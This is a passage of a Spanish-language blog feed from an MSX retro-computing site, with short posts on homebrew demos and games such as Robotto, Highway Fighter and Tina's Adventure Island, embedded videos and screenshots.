<iframe loading="lazy" class="youtube-player" width="1110" height="625" src="https://www.youtube.com/embed/Weq75LbOIqs?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation"></iframe>
</div></figure>
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		<title>Robotto, una estupenda demo MSX de The Pets Mode</title>
		<link>https://www.msxblog.es/robotto-una-estupenda-demo-msx-de-the-pets-mode/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Fri, 26 Apr 2019 21:18:59 +0000</pubDate>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[PSG]]></category>
		<category><![CDATA[Revision Party 2019]]></category>
		<category><![CDATA[SCREEN2]]></category>
		<category><![CDATA[The Pets Mode]]></category>
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					<description><![CDATA[El grupoThe Pets Mode participó con una estupenda demo en la Revision Party 2019 que se celebró hace una semana. Normalmente las demos MSX no se prodigan demasiado por lo&#8230; ]]></description>
										<content:encoded><![CDATA[
<p>El grupo<a rel="noreferrer noopener" aria-label="The Pets Mode (abre en una nueva pestaña)" href="http://www.thepetsmode.com" target="_blank">The Pets Mode</a> participó con una estupenda demo en la <a rel="noreferrer noopener" aria-label="Revision Party 2019 (abre en una nueva pestaña)" href="https://2019.revision-party.net/" target="_blank">Revision Party 2019</a> que se celebró hace una semana. Normalmente las demos MSX no se prodigan demasiado por lo que ver una en un evento tan importante a nivel internacional como este es todo un acontecimiento a tener en cuenta.</p>



<p>Y si encima la demo queda posicionada en un quinto puesto (de quince que participaban) en la categoría Oldskool pues es algo que sin duda tenemos que celebrar. El tamaño de la demo es de nada menos que 256K y funciona en cualquier MSX con un mínimo de 16K de memoria RAM.</p>



<p><a href="https://www.msxgamesworld.com/gamecard.php?id=5561">Robotto</a>, que así se llama la demo, aúna tanto efectos gráficos como una melodía pegadiza en PSG perfectamente ejecutada. Muestra una marcada estética <em>cyberpunk</em> que a mí personalmente me encanta. </p>



<figure class="wp-block-embed-youtube aligncenter wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-4-3 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" class="youtube-player" width="1110" height="625" src="https://www.youtube.com/embed/fhMRzqbeYvw?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation"></iframe>
</div></figure>



<p>Robotto la podemos descargar de manera gratuita a través de la página de The Pets Mode. Desde aquí quiero felicitarles por este estupendo trabajo y ojalá nos brinden más demos como esta próximamente.</p>



<p>Enlace relacionado: <a rel="noreferrer noopener" aria-label="The Pets Mode (abre en una nueva pestaña)" href="http://www.thepetsmode.com/producciones-thepetsmode-msxjuegos-demoscene.php" target="_blank">The Pets Mode</a></p>
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		<title>Brick Breaker &#8211; Santa Demo</title>
		<link>https://www.msxblog.es/brick-breaker-santa-demo/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Fri, 14 Dec 2018 23:05:53 +0000</pubDate>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Brick Breaker]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Eric Boez]]></category>
		<category><![CDATA[FUSION-C]]></category>
		<category><![CDATA[Navidad]]></category>
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					<description><![CDATA[Eric Boez nos regala estas Navidades un pequeño juego de demostración de lo que se puede hacer con la biblioteca FUSION-C. ¿Y qué es FUSION-C? Pues una biblioteca que ayudará&#8230; ]]></description>
										<content:encoded><![CDATA[<p><strong>Eric Boez</strong> nos regala estas Navidades un pequeño juego de demostración de lo que se puede hacer con la biblioteca <strong>FUSION-C</strong>.</p>
<p>¿Y qué es FUSION-C? Pues una biblioteca que ayudará a los programadores a crear software para MSX haciendo uso del lenguaje C y el compilador SDCC.</p>
<p>En cuanto al juego, se trata de un rompeladrillos dividido en cinco niveles que tendremos que superar golpeando 10 veces a Papá Noel con nuestra bola. Al final de cada nivel se desvelará una parte del regalo final. </p>
<p>Enlace relacionado: <a href="http://msx.ebsoft.fr/bbreaker/?fbclid=IwAR2GJMz6Fwh1K4yRV6Q0aHrI7qP9wg3s0HU3X9lFHEgqpuIMRO666GtsbGo" target="_blank" rel="noopener">Eric Boez</a></p>
<p><iframe loading="lazy" class="youtube-player" width="1110" height="625" src="https://www.youtube.com/embed/14sMA1ItFbY?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation"></iframe></p>
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		<title>Prueba de scroll píxel a píxel</title>
		<link>https://www.msxblog.es/prueba-de-scroll-pixel-a-pixel/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Sat, 06 Oct 2018 22:44:32 +0000</pubDate>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Píxel a píxel]]></category>
		<category><![CDATA[Scroll]]></category>
		<category><![CDATA[Suave]]></category>
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					<description><![CDATA[Aquí os dejo una prueba de scroll suave (píxel a píxel). Lo que estáis viendo es un «simple» MSX sin aditivos (nada de GFX9000 y similares). Por cierto, el sprite&#8230; ]]></description>
										<content:encoded><![CDATA[
<p>Aquí os dejo una prueba de scroll suave (píxel a píxel). Lo que estáis viendo es un «simple» MSX sin aditivos (nada de GFX9000 y similares). Por cierto, el sprite del protagonista mola muchísimo.</p>



<figure class="wp-block-embed-youtube aligncenter wp-block-embed is-type-rich is-provider-gestor-del-servicio wp-has-aspect-ratio wp-embed-aspect-16-9"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" class="youtube-player" width="1110" height="625" src="https://www.youtube.com/embed/QGZOxNSO9xk?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation"></iframe>
</div></figure>
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		<title>Demo GFX9000 + Moonsound</title>
		<link>https://www.msxblog.es/demo-gfx9000-moonsound/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Sat, 06 Oct 2018 22:15:49 +0000</pubDate>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[GFX9000]]></category>
		<category><![CDATA[Moonsound]]></category>
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					<description><![CDATA[Fuente: MSX Resource Center Aquí una demo conceptual de lo que puede dar de sí la combinación de la tarjeta gráfica GFX9000 y la tarjeta de sonido Moonsound (Yamaha YMF278&#8230; ]]></description>
										<content:encoded><![CDATA[
<p>Fuente: <a href="https://www.msx.org/es/forum/debates-en-espa%C3%B1ol/desarrollo/wrapper-para-gfx9000-en-c" target="_blank">MSX Resource Center</a></p>



<p>Aquí una demo conceptual de lo que puede dar de sí la combinación de la tarjeta gráfica GFX9000 y la tarjeta de sonido Moonsound (Yamaha YMF278 OPL4) en una ROM de tan solo 32Kb.</p>



<figure class="wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-has-aspect-ratio wp-embed-aspect-4-3"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" class="youtube-player" width="1110" height="625" src="https://www.youtube.com/embed/xTwaEM6fGbc?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation"></iframe>
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		<title>Demo musical PSG + SCC: Marble Machine</title>
		<link>https://www.msxblog.es/demo-musical-psg-scc-marble-machine/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Wed, 09 Aug 2017 19:05:03 +0000</pubDate>
				<category><![CDATA[Demos]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Guillian]]></category>
		<category><![CDATA[Marble Machine]]></category>
		<category><![CDATA[PSG]]></category>
		<category><![CDATA[SCC]]></category>
		<category><![CDATA[Wintergatan]]></category>
		<category><![CDATA[WYZ]]></category>
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					<description><![CDATA[WYZ y Guillian (Manuel Pazos) han publicado una curiosa demo musical que versiona al MSX la genialidad de Wintergatan: Marble Machine. Yo no conocía esta máquina de canicas pero al&#8230; ]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">WYZ y Guillian (Manuel Pazos) han publicado una curiosa demo musical que versiona al MSX la genialidad de Wintergatan: <a href="https://www.youtube.com/watch?v=IvUU8joBb1Q" data-rel="lightbox-video-0" target="_blank" rel="noopener">Marble Machine</a>. Yo no conocía esta máquina de canicas pero al ver el vídeo original me he quedado muy sorprendido: <strong>una máquina musical que funciona con bolas metálicas</strong> impulsadas por una enorme rueda a la que el músico les da movimiento a través de una manivela. ¡Decir impresionante es poco!</p>
<p>Enlace relacionado: <a href="http://msxgamesworld.com/gamecard.php?id=5165">Wintergatan Marble Machine</a></p>
<p>&nbsp;</p>
]]></content:encoded>
					
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		<title>Disponible demo jugable de Highway Fighter</title>
		<link>https://www.msxblog.es/disponible-demo-jugable-de-highway-fighter/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Mon, 27 Mar 2017 15:51:13 +0000</pubDate>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Highway Fighter]]></category>
		<category><![CDATA[Kai Magazine]]></category>
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					<description><![CDATA[Kai Magazine está a puntito de sacar su nuevo juego para MSX. Se llama Higway Fighter y ya hablé sobre él cuando se presentó la campaña de crowdfunding de la&#8230; ]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Kai Magazine está a puntito de sacar su nuevo juego para MSX. Se llama <a href="http://www.msxgamesworld.com/gamecard.php?id=4735">Higway Fighter</a> y ya hablé sobre él cuando se presentó la <a href="http://www.msxblog.es/campana-de-financiacion-de-enciclopedia-homebrew-vol-2/">campaña de crowdfunding de la Enciclopedia Homebrew Vol.2</a>.</p>
<p style="text-align: justify;">Se inspira en Road Fighter y su planteamiento es similar. Jugamos en una carretera plagada de coches y camiones que intentarán echarnos de la calzada o interrumpirnos el paso. Al comienzo de la partida podemos elegir entre un coche amarillo (más fácil de pilotar y con menos prestaciones) y otro rojo (más complicado de pilotar y con unas prestaciones superiores). Elegir uno u otro se verá reflejado en la manera de conducir y de plantear la carrera pues los dos difieren también en el tamaño del depósito de combustible.</p>
<p style="text-align: justify;"><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Highway-Fighter-Kai-Magazine-2017-001.png" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="24625" data-permalink="https://www.msxblog.es/disponible-demo-jugable-de-highway-fighter/highway-fighter-kai-magazine-2017-001/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Highway-Fighter-Kai-Magazine-2017-001.png?fit=544%2C480&amp;ssl=1" data-orig-size="544,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Highway Fighter (Kai Magazine, 2017)" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Highway-Fighter-Kai-Magazine-2017-001.png?fit=544%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Highway-Fighter-Kai-Magazine-2017-001.png?fit=544%2C480&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter size-full wp-image-24625" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Highway-Fighter-Kai-Magazine-2017-001.png?resize=544%2C480" alt="" width="544" height="480" data-recalc-dims="1" /></a></p>
<p style="text-align: justify;">Dependiendo de la máquina que usemos, el juego hará uso de <a href="https://youtu.be/2-qPxFfbdCc" data-rel="lightbox-video-0" target="_blank">una configuración u otra</a>, eso sí, manteniendo los 60fps en todo momento (estos suena a videojuego moderno) lo que se traduce en una suavidad increíble del scroll y el movimiento de los coches:</p>
<ul style="text-align: justify;">
<li>MSX2+ y MSX turbo R:
<ul>
<li>SCREEN 10.</li>
<li>Moonsound u OPL4</li>
<li>FM-PAC y Music Module (al mismo tiempo).</li>
</ul>
</li>
<li>MSX2:
<ul>
<li>SCREEN 5.</li>
<li>FM-PAC ó Music Module (solo uno de los dos).</li>
</ul>
</li>
</ul>
<p style="text-align: justify;">Para probar sensaciones al volante, <strong>Kai Magazine ha lanzado una demo con cuatro fases</strong> (el juego completo tiene 24). El juego saldrá a la venta el próximo 2 de abril, en formato digital a un precio de 9 euros y posteriormente en cartucho a 39 euros. Estos precios son especiales y entran dentro de la campaña de pre-compra. Después, serán de 42 y 12 euros respectivamente.</p>
<p style="text-align: justify;"><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Highway-Fighter-Kai-Magazine-2017-004.png" data-rel="lightbox-image-1" data-imagelightbox="1" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="24626" data-permalink="https://www.msxblog.es/disponible-demo-jugable-de-highway-fighter/highway-fighter-kai-magazine-2017-004/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Highway-Fighter-Kai-Magazine-2017-004.png?fit=544%2C480&amp;ssl=1" data-orig-size="544,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Highway Fighter (Kai Magazine, 2017)" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Highway-Fighter-Kai-Magazine-2017-004.png?fit=544%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Highway-Fighter-Kai-Magazine-2017-004.png?fit=544%2C480&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter size-full wp-image-24626" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Highway-Fighter-Kai-Magazine-2017-004.png?resize=544%2C480" alt="" width="544" height="480" data-recalc-dims="1" /></a></p>
<p style="text-align: justify;">En Higway Fighter el <strong>apartado gráfico es muy superior al del clásico de Konami</strong> ya que hace uso de las capacidades superiores de los ordenadores de segunda generación y posteriores. Los sprites de los coches son muy detallados y así como también los escenarios. Por otro lado, <strong>el apartado sonoro es impresionante</strong>, gracias a la labor de las diferentes combinaciones posibles: Moonsound, FM-PAC y Music Module. Un juego redondo si no fuera porque no tengo sensación de velocidad como sí me ocurría en Road Fighter. Ojo, es una apreciación personal y completamente subjetiva. Y ese aspecto, para mí minimiza la diversión.</p>
<p style="text-align: justify;">Para más información y compra anticipada, contactad con <a href="mailto:Kennethalbero@hotmail.com">Kai Magazine</a>.</p>
<p style="text-align: justify;"><a href="http://www.msxblog.es/wp-content/uploads/2017/03/Highwway-Fighter-Kai-Magazine-2017-Demo.zip"><img data-attachment-id="22019" data-permalink="https://www.msxblog.es/remake-de-cannon-fighter-photon-storm/descargar-es/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2015/12/Descargar-ES-e1462405591439.png?fit=150%2C123&amp;ssl=1" data-orig-size="150,123" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Descargar" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2015/12/Descargar-ES-e1462405591439.png?fit=150%2C123&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2015/12/Descargar-ES-e1462405591439.png?fit=150%2C123&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter size-full wp-image-22019" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2015/12/Descargar-ES-e1462405591439.png?resize=150%2C123" alt="" width="150" height="123" data-recalc-dims="1" /></a></p>
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		<title>Demo de Agony en un MSX turbo R</title>
		<link>https://www.msxblog.es/demo-de-agony-en-un-msx-turbo-r/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Wed, 22 Mar 2017 21:29:30 +0000</pubDate>
				<category><![CDATA[Vídeos]]></category>
		<category><![CDATA[Agony]]></category>
		<category><![CDATA[Akira]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Juegos en desarrollo]]></category>
		<category><![CDATA[Psygnosis]]></category>
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					<description><![CDATA[Agony es uno de los juegos más curiosos del género shoot&#8217;em up que he tenido ocasión probar a lo largo de mi vida de jugón. El juego, publicado por Psygnosis&#8230; ]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><a href="https://en.wikipedia.org/wiki/Agony_(video_game)" target="_blank">Agony </a>es uno de los juegos más curiosos del género shoot&#8217;em up que he tenido ocasión probar a lo largo de mi vida de jugón. El juego, publicado por Psygnosis en 1992 para Commodore AMIGA 500, estaba protagonizado por la mascota de la compañía, un búho. Sí señor, un búho que manejamos como si fuera una nave espacial cualquiera disparando a todo bicho viviente.</p>
<p style="text-align: justify;"><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Agony-WIP-003.png" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="24607" data-permalink="https://www.msxblog.es/demo-de-agony-en-un-msx-turbo-r/agony-wip-003/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Agony-WIP-003.png?fit=560%2C437&amp;ssl=1" data-orig-size="560,437" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Agony (WIP) 003" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Agony-WIP-003.png?fit=560%2C437&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Agony-WIP-003.png?fit=560%2C437&amp;ssl=1" decoding="async" loading="lazy" class="aligncenter size-full wp-image-24607" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2017/03/Agony-WIP-003.png?resize=560%2C437" alt="" width="560" height="437" data-recalc-dims="1" /></a></p>
<p style="text-align: justify;"><strong>Akira</strong>, ha realizado una demo del juego que toma prestados los gráficos de la versión original y los plasma en un MSX turbo R con apoyo gráfico de GFX9000. Todo ello, emulado en openMSX con lo que ello conlleva: errores que no ocurren en la máquina real. Esto nos da una idea de cómo podría quedar uno de los juegos más impresionantes de AMIGA en lo que a gráficos se refiere en un MSX.</p>
<p style="text-align: justify;">Aunque Agony no es uno de mis favoritos del género shoot&#8217;em up no puedo negar que es original y que la animación del búho es espectacular.</p>
<p style="text-align: justify;">Enlace relacionado: <a href="http://eab.abime.net/showthread.php?t=86294" target="_blank">English Amiga Board</a></p>
<p><iframe loading="lazy" class="youtube-player" width="1110" height="625" src="https://www.youtube.com/embed/xWwDbIwuRLM?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation"></iframe></p>
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		<title>Grafista busca programador para crear un Run&#8217;n gun para MSX2</title>
		<link>https://www.msxblog.es/grafista-busca-programador-para-crear-un-runn-gun-para-msx2/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Wed, 18 Jan 2017 00:54:06 +0000</pubDate>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Arcade]]></category>
		<category><![CDATA[atrusyan]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Grafista]]></category>
		<category><![CDATA[Vídeo]]></category>
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					<description><![CDATA[David Martínez, conocido como Atrusyan es un usuario de MSX y grafista con el que hace años tuve la oportunidad de trabajar en un remake de Metal Gear para PC pero&#8230; ]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">David Martínez, conocido como <strong>Atrusyan</strong> es un usuario de MSX y grafista con el que hace años<a href="http://www.msxblog.es/entrevista-a-david-martinez-grafista-del-remake-de-metal-gear/"> tuve la oportunidad de trabajar</a> en un remake de Metal Gear para PC pero que entonces se quedó en el tintero.</p>
<p style="text-align: justify;">Ahora, nos sorprende a todos con un breve vídeo donde hace una declaración de intenciones si algún programador le ayuda a sacar un nuevo proyecto adelante.</p>
<p><center><br />
<div style="width: 400px;" class="wp-video"><!--[if lt IE 9]><script>document.createElement('video');</script><![endif]-->
<video class="wp-video-shortcode" id="video-24428-1" width="400" height="330" preload="metadata" controls="controls"><source type="video/mp4" src="http://www.msxblog.es/wp-content/uploads/2017/01/Prueba-MSX2.mp4?_=1" /><a href="http://www.msxblog.es/wp-content/uploads/2017/01/Prueba-MSX2.mp4">http://www.msxblog.es/wp-content/uploads/2017/01/Prueba-MSX2.mp4</a></video></div><br />
</center></p>
<p style="text-align: justify;">Se trataría de un juego arcade de scroll lateral que a la vista de las imágenes nos recuerda mucho a Contra aunque con una <strong>calidad gráfica superior al de Konami</strong>. Aunque se trata tan solo de una demo, si el juego resultara así sería un auténtico bombazo. En MSX2 se echa de menos el género arcade de matar a todo lo que se ponga por delante, a lo héroe de guerra de los ochenta.</p>
<p style="text-align: justify;">Si alguno de vosotros quiere ayudar a David, poneros en contacto con él a través de email. Tenéis más detalles en la página de la AAMSX en facebook.</p>
<p style="text-align: justify;">Enlace relacionado: <a href="https://www.facebook.com/groups/aamsx/permalink/10154984422829886/" target="_blank">AAMSX en facebook</a></p>
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		<title>Demo de Tina&#8217;s Adventure Island, ya disponible</title>
		<link>https://www.msxblog.es/demo-de-tinas-adventure-island-ya-disponible/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Thu, 08 Dec 2016 14:53:52 +0000</pubDate>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Imanok]]></category>
		<category><![CDATA[Tina's Adventure Island]]></category>
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					<description><![CDATA[El último juego de la factoría Imanok, Tina&#8217;s Adventure Island, fue presentado en sociedad en la pasada 50ª RU de Barcelona por lo que hasta entonces solo los afortunados que&#8230; ]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">El último juego de la factoría Imanok, <a href="http://www.msxgamesworld.com/gamecard.php?id=4054">Tina&#8217;s Adventure Island</a>, fue presentado en sociedad en la pasada 50ª RU de Barcelona por lo que hasta entonces solo los afortunados que allí se dieron cita pudieron probar el juego y comentar sus impresiones directamente con su creador.</p>
<p><figure id="attachment_24009" aria-describedby="caption-attachment-24009" style="width: 544px" class="wp-caption aligncenter"><img data-attachment-id="24009" data-permalink="https://www.msxblog.es/demo-de-tinas-adventure-island-ya-disponible/tinas-adventure-island-imanok-2016-001/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-001.png?fit=544%2C480&amp;ssl=1" data-orig-size="544,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Tinas Adventure Island (Imanok, 2016)" data-image-description="" data-image-caption="&lt;p&gt;Pantalla de título&lt;/p&gt;
" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-001.png?fit=544%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-001.png?fit=544%2C480&amp;ssl=1" decoding="async" loading="lazy" class="wp-image-24009 size-full" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-001.png?resize=544%2C480" width="544" height="480" data-recalc-dims="1" /><figcaption id="caption-attachment-24009" class="wp-caption-text">Pantalla de título</figcaption></figure></p>
<p style="text-align: justify;">Es Imanok quien <a href="https://twitter.com/ImanokMSX/status/806812165512433664" target="_blank">acaba de lanzar</a> en su sitio web, y de manera gratuita, una versión demo con la que podemos haceros una idea fidedigna de cómo será el juego y en consecuencia tomar una decisión respecto a adquirir la versión completa que se pondrá a la venta en formato cartucho.</p>
<p><figure id="attachment_24008" aria-describedby="caption-attachment-24008" style="width: 90px" class="wp-caption aligncenter"><img data-attachment-id="24008" data-permalink="https://www.msxblog.es/demo-de-tinas-adventure-island-ya-disponible/tina/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tina.png?fit=90%2C168&amp;ssl=1" data-orig-size="90,168" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Tina" data-image-description="" data-image-caption="&lt;p&gt;Sprite de la protagonista de Tina&#8217;s Adventure Island&lt;/p&gt;
" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tina.png?fit=90%2C168&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tina.png?fit=90%2C168&amp;ssl=1" decoding="async" loading="lazy" class="wp-image-24008 size-full" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tina.png?resize=90%2C168" alt="Sprite de Tina" width="90" height="168" data-recalc-dims="1" /><figcaption id="caption-attachment-24008" class="wp-caption-text">Sprite de la protagonista</figcaption></figure></p>
<p style="text-align: justify;">La demo tiene una duración de tres fases donde podemos recorrer tres escenarios donde pululan diferentes enemigos. Al matarlos, dejan una moneda que podemos recoger para posteriormente canjear nuestro dinero por armamento y objetos que nos ayudarán en nuestra aventura.</p>
<p><figure id="attachment_24011" aria-describedby="caption-attachment-24011" style="width: 544px" class="wp-caption aligncenter"><img data-attachment-id="24011" data-permalink="https://www.msxblog.es/demo-de-tinas-adventure-island-ya-disponible/tinas-adventure-island-imanok-2016-008/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2016/12/Tinas-Adventure-Island-Imanok-2016-008.png?fit=544%2C480&amp;ssl=1" data-orig-size="544,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Tinas Adventure Island (Imanok, 2016)" data-image-description="" data-image-caption="&lt;p&gt;Las monedas las podemos canjear por objetos&lt;/p&gt;
